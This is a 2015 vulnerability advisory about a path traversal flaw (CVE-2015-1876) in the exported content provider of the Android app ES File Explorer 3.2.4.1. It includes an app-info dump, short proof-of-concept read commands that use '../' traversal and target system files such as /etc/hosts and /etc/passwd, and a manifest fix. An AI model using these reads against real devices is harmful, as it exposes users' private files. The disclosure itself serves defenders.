ES File Explorer 3.2.4.1 Path Traversal

2015-02-17T00:00:00
ID PACKETSTORM:130431
Type packetstorm
Reporter Hadji Samir
Modified 2015-02-17T00:00:00

Description

                                        
                                            `Document Title:  
===============  
ES File Explorer v3.2.4.1 - Path Traversal Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1435  
  
  
CVE-ID:  
=======  
CVE-2015-1876  
  
  
Release Date:  
=============  
2015-02-17  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1435  
  
  
Common Vulnerability Scoring System:  
====================================  
7.8  
  
  
Product & Service Introduction:  
===============================  
ES File Explorer is a free all-in-one including a file manager & application & tasks,  
support for online storage spaces (Dropbox, Google Drive, SkyDrive, Box.net, Sugarsync, Yandex, Amazon S3),  
FTP & Samba client to explore the images, music, videos, documents and other files from your phone and your computer.  
It allows Android users around the world to manage their resources for free; you can see the files on your phone,  
access from anywhere and share them with others; it allows you to easily manage your photos or watch videos, stay connected on 3G,  
EDGE or WiFi, and share with friends.  
  
(Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=com.estrongs.android.pop )  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboraotory researcher discovered a path traversal web vulnerability in the official ES File Explorer v3.2.4.1 mobile android web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-02-17: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
ES APP GROUP  
Product: ES File Explorer - Mobile Web Application (Android) 3.2.4.1   
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A Path Traveral web vulnerability has been discovered in the official in the official ES File Explorer v3.2.4.1 mobile android web-application.  
The security vulnerability allows a remote attacker to unauthorized request local files and device system paths to compromise the application or device.  
  
The vulnerability is located in the `content://com.estrongs.files/system/` path request with the <file> context. The vulnerability can be exploited by   
local or remote attackers without user interaction. The attacker needs to replace the sdcard path request in the com.estrongs.files/system with a   
malicious path request like ./etc/passwd ./etc/hosts and continues the request. The attack vector is located on the application-side of the service   
and the request is http.  
  
The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.8.   
Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction. Successful exploitation   
of the vulnerability results in mobile application compromise  
  
Request Method(s):  
[+] POST & Sync  
  
Vulnerable Module(s):  
[+] content://com.estrongs.files/  
  
Vulnerable Parameter(s):  
[+] path  
  
Affected Module(s):  
[+] content://com.estrongs.files/system/  
  
  
Proof of Concept (PoC):  
=======================  
The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
--- PoC Session Logs ---  
Package: com.estrongs.android.pop  
Application Label: ES File Explorer  
Process Name: com.estrongs.android.pop  
Version: 3.2.4.1  
Data Directory: /data/data/com.estrongs.android.pop  
APK Path: /data/app/com.estrongs.android.pop-2.apk  
UID: 10235  
GID: [3003, 3002, 3001, 1015, 1028]  
  
Permissions:  
- android.permission.WRITE_SETTINGS  
- android.permission.CHANGE_WIFI_STATE  
- android.permission.CHANGE_NETWORK_STATE  
- android.permission.INTERNET  
- android.permission.SET_WALLPAPER  
- android.permission.ACCESS_NETWORK_STATE  
- android.permission.ACCESS_WIFI_STATE  
- com.android.launcher.permission.INSTALL_SHORTCUT  
- com.android.launcher.permission.UNINSTALL_SHORTCUT  
- android.permission.BLUETOOTH  
- android.permission.BLUETOOTH_ADMIN  
- android.permission.WRITE_EXTERNAL_STORAGE  
- android.permission.WRITE_MEDIA_STORAGE  
- android.permission.WAKE_LOCK  
- android.permission.READ_PHONE_STATE  
- android.permission.ACCESS_SUPERUSER  
- android.permission.VIBRATE  
- .PERMISSION  
- android.permission.CHANGE_WIFI_MULTICAST_STATE  
- android.permission.SYSTEM_ALERT_WINDOW  
- android.permission.GET_TASKS  
- android.permission.READ_EXTERNAL_STORAGE  
Defines Permissions:  
- None  
  
Activities:  
com.estrongs.android.pop.view.FileExplorerActivity  
com.estrongs.android.pop.app.compress.CompressionActivity  
com.estrongs.android.pop.app.compress.CompressionProxyActivity  
com.estrongs.android.pop.app.ESFileSharingActivity  
com.estrongs.android.pop.app.SaveToESActivity  
com.estrongs.android.pop.app.LocalFileSharingActivity  
com.estrongs.android.pop.app.PopVideoPlayer  
com.estrongs.android.pop.app.PopVideoPlayerProxyActivity  
com.estrongs.android.pop.app.AudioPlayerProxyActivity  
com.estrongs.android.pop.app.editor.PopNoteEditor  
com.estrongs.android.pop.app.FileChooserActivity  
com.estrongs.android.pop.app.ESContentChooserActivity  
com.estrongs.android.pop.app.ESRingtoneChooserActivity  
com.estrongs.android.pop.app.ESWallPaperChooserActivity  
com.estrongs.android.pop.app.DownloaderActivity  
com.estrongs.android.pop.app.BrowserDownloaderActivity  
com.estrongs.android.pop.app.PopRemoteImageBrowser  
com.estrongs.android.pop.ftp.ESFtpShortcut  
com.estrongs.android.pop.app.ShowDialogActivity  
com.estrongs.android.pop.app.AppCheckUpdateList  
com.estrongs.android.pop.app.DefaultWindowSetting  
com.estrongs.android.pop.app.DocumentExtModifyList  
com.estrongs.android.pop.app.TransitActivity  
  
Broadcast(Receiver):  
com.estrongs.android.pop.app.AudioPlayerService$MediaButtonReceiver  
com.baidu.share.message.ShareReceiver  
com.estrongs.android.pop.EnableOEMConfig  
com.estrongs.android.pop.app.InstallMonitorReceiver  
com.estrongs.android.pop.app.StartServiceReceiver  
  
Services:  
com.estrongs.android.pop.bt.OBEXFtpServerService  
Permission: null  
  
Providers:  
Authority: com.estrongs.files  
Read Permission: null  
Write Permission: null  
Content Provider: com.estrongs.android.pop.app.FileContentProvider  
Multiprocess Allowed: False  
Grant Uri Permissions: True  
  
  
read content://com.estrongs.files/system/../../../../../sdcard/<file>  
  
Read file hosts  
read content://com.estrongs.files/system/etc/hosts  
127.0.0.1 localhost  
  
  
Solution - Fix & Patch:  
=======================  
In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set.  
  
  
Vulnerable code:  
  
com.estrongs.files  
Read Permission: null  
Write Permission: null  
  
android:exported="true" change "true" to "false"  
  
When the value is "false", only components of the same application or applications with the same user ID can start the service or bind to it.  
  
<provider android:authorities="com.estrongs.files" android:exported="true" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/>  
  
Fixed code:  
<provider android:authorities="com.estrongs.files" android:exported="false" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/>  
  
read content://com.estrongs.files/system/etc/hosts  
Permission Denial: opening provider com.estrongs.android.pop.app.FileContentProv  
ider from ProcessRecord{4192d1a0 32050:com.mwr.dz:remote/u0a216} (pid=32050, uid  
=10216) that is not exported from uid 10235  
  
  
Security Risk:  
==============  
The security risk of the path traversal web vulnerability in the android app is estimated as high. (CVSS 7.8)  
  
  
Credits & Authors:  
==================  
Hadji Samir [s-dz@hotmail.fr]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com  
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.  
  
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
  
  
  
`